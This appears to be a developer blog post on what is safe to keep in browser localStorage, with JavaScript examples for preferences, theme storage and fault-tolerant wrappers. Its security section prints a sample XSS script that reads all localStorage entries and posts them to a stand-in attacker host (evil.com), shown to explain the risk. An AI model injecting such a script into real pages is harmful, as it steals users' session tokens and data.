What is Safe to Store in localStorage? Best Practices Guide
I stored my JWT token in localStorage. Then I got hit by an XSS attack. The attacker grabbed my token and hijacked my session. That’s when I realized I had been using localStorage all wrong.
localStorage is convenient. You just call localStorage.setItem() and your data persists across browser sessions. But convenience doesn’t mean safety. Let me share what I learned about what actually belongs in localStorage and what should never go near it.
What localStorage Actually Is
localStorage is a key-value store in the browser. It’s part of the Web Storage API, alongside sessionStorage. The data persists even after the browser closes.
// Simple key-value storagelocalStorage.setItem('theme', 'dark');const theme = localStorage.getItem('theme'); // 'dark'
// Objects need to be stringifiedconst userPrefs = { fontSize: 16, sidebar: 'collapsed' };localStorage.setItem('preferences', JSON.stringify(userPrefs));
// Always parse when retrievingconst prefs = JSON.parse(localStorage.getItem('preferences'));The API is simple. Too simple, actually. It lures you into storing everything there.
The Security Problem
Here’s the issue: localStorage has no access control. Any JavaScript running on your page can read it.
If an attacker injects malicious script through XSS (Cross-Site Scripting), they can exfiltrate everything in your localStorage.
// An attacker could run this if your site has an XSS vulnerabilityconst stolen = {};for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); stolen[key] = localStorage.getItem(key);}// Send to attacker's serverfetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(stolen) });This is why I stopped storing authentication tokens in localStorage. One XSS vulnerability and all your users’ tokens are compromised.
What Belongs in localStorage
After getting burned, I started thinking carefully about what actually makes sense to store. Here’s what I use localStorage for now:
UI Preferences
Theme settings, sidebar state, font sizes - anything that improves user experience but wouldn’t matter if lost.
// Safe: UI preferences that enhance UX but aren't criticalconst savePreferences = (prefs) => { try { localStorage.setItem('ui-preferences', JSON.stringify({ theme: prefs.theme || 'light', sidebarCollapsed: prefs.sidebarCollapsed || false, fontSize: prefs.fontSize || 14, language: prefs.language || 'en' })); } catch (e) { // localStorage might be full or disabled console.warn('Could not save preferences:', e); }};Non-Sensitive Application State
Filter selections, sort preferences, draft form data that doesn’t contain personal information.
// Safe: remembering table filters for next visitconst saveTableState = (filters, sortBy) => { try { localStorage.setItem('table-state', JSON.stringify({ filters: filters, // e.g., { status: 'active', category: 'tech' } sortBy: sortBy, // e.g., { column: 'date', direction: 'desc' } savedAt: Date.now() })); } catch (e) { console.warn('Could not save table state:', e); }};The key principle: if this data disappeared, the user would have a slightly worse experience, but their account wouldn’t be compromised.
What Should NEVER Go in localStorage
I learned this the hard way. Never store these:
Authentication Tokens
JWTs, session IDs, API keys - these belong in httpOnly cookies.
// WRONG: Never do thislocalStorage.setItem('auth-token', jwtToken);localStorage.setItem('refresh-token', refreshToken);
// RIGHT: Let the server set httpOnly cookies// The browser automatically includes them in requestshttpOnly cookies can’t be accessed by JavaScript, so XSS attacks can’t steal them.
Personal Identifiable Information (PII)
Email addresses, phone numbers, addresses, credit card numbers. This should be obvious, but I’ve seen it in production code.
// WRONG: Never store PIIlocalStorage.setItem('user-phone', '+1-555-0123');
// Even partial PII is dangerouslocalStorage.setItem('last-4-ssn', '1234');Large Data Objects
localStorage has a quota (usually 5-10MB). But even before you hit the limit, storing large objects is a bad idea.
// WRONG: Don't do thisconst hugeApiResponse = await fetch('/api/products').then(r => r.json());localStorage.setItem('products-cache', JSON.stringify(hugeApiResponse));
// WRONG: Definitely don't do this with imagesconst imageBase64 = await convertImageToBase64(imageFile);localStorage.setItem('cached-image', imageBase64); // Could be megabytesFor large data, use IndexedDB. It handles binary data better and has a larger quota.
A Decision Framework
When I’m deciding whether to use localStorage, I run through this checklist:
1. Is it sensitive? (auth tokens, PII, financial data) → Use httpOnly cookies or server-side storage
2. Is it large? (more than a few KB) → Use IndexedDB
3. Is it temporary session data? → Use sessionStorage (cleared when tab closes)
4. Is it non-sensitive UI state? → Use localStorage (with try-catch)Always Wrap in Try-Catch
localStorage can throw errors. The user might have disabled it, or it might be full.
const safeLocalStorage = { get: (key) => { try { const item = localStorage.getItem(key); return item ? JSON.parse(item) : null; } catch (e) { console.warn(`Failed to get ${key} from localStorage:`, e); return null; } },
set: (key, value) => { try { localStorage.setItem(key, JSON.stringify(value)); return true; } catch (e) { console.warn(`Failed to set ${key} in localStorage:`, e); return false; } },
remove: (key) => { try { localStorage.removeItem(key); return true; } catch (e) { console.warn(`Failed to remove ${key} from localStorage:`, e); return false; } }};This way, if localStorage fails, your app keeps working with sensible defaults.
Comparison with Other Storage Options
I put together this comparison to help decide which storage to use:
| Storage | Capacity | Persistence | Security | Use Case ||---------------|-----------|---------------|-------------------|----------------------|| localStorage | ~5-10 MB | Persists | Vulnerable to XSS | UI preferences || sessionStorage| ~5-10 MB | Tab/session | Vulnerable to XSS | Temporary state || IndexedDB | ~50+ MB | Persists | Vulnerable to XSS | Large datasets || Cookies | ~4 KB | Configurable | httpOnly option | Auth tokens |Real Example: Theme Persistence
Here’s a complete example of using localStorage correctly for theme preference:
const ThemeManager = { THEME_KEY: 'app-theme',
getTheme() { try { const stored = localStorage.getItem(this.THEME_KEY); if (stored) { return stored; } } catch (e) { // localStorage unavailable, use system preference }
// Fall back to system preference if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) { return 'dark'; } return 'light'; },
setTheme(theme) { try { localStorage.setItem(this.THEME_KEY, theme); } catch (e) { // Storage failed, but theme is already applied console.warn('Could not persist theme preference'); } document.documentElement.setAttribute('data-theme', theme); },
init() { const theme = this.getTheme(); document.documentElement.setAttribute('data-theme', theme); }};
// Initialize on page loadThemeManager.init();If localStorage fails, the theme still works for the current session. The user just needs to set it again next time.
What I Changed in My Projects
After learning these lessons the hard way, I went through my codebase and made these changes:
- Moved all auth tokens to httpOnly cookies set by the server
- Removed PII from localStorage (moved to server-side session)
- Added try-catch wrappers around all localStorage access
- Created a storage abstraction layer that gracefully degrades
class StorageService { constructor() { this.isAvailable = this.checkAvailability(); }
checkAvailability() { try { const test = '__storage_test__'; localStorage.setItem(test, test); localStorage.removeItem(test); return true; } catch (e) { return false; } }
get(key, defaultValue = null) { if (!this.isAvailable) return defaultValue; try { const item = localStorage.getItem(key); return item ? JSON.parse(item) : defaultValue; } catch (e) { return defaultValue; } }
set(key, value) { if (!this.isAvailable) return false; try { localStorage.setItem(key, JSON.stringify(value)); return true; } catch (e) { return false; } }}
export const storage = new StorageService();Now I use storage.get() and storage.set() everywhere. If localStorage isn’t available, everything still works with default values.
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments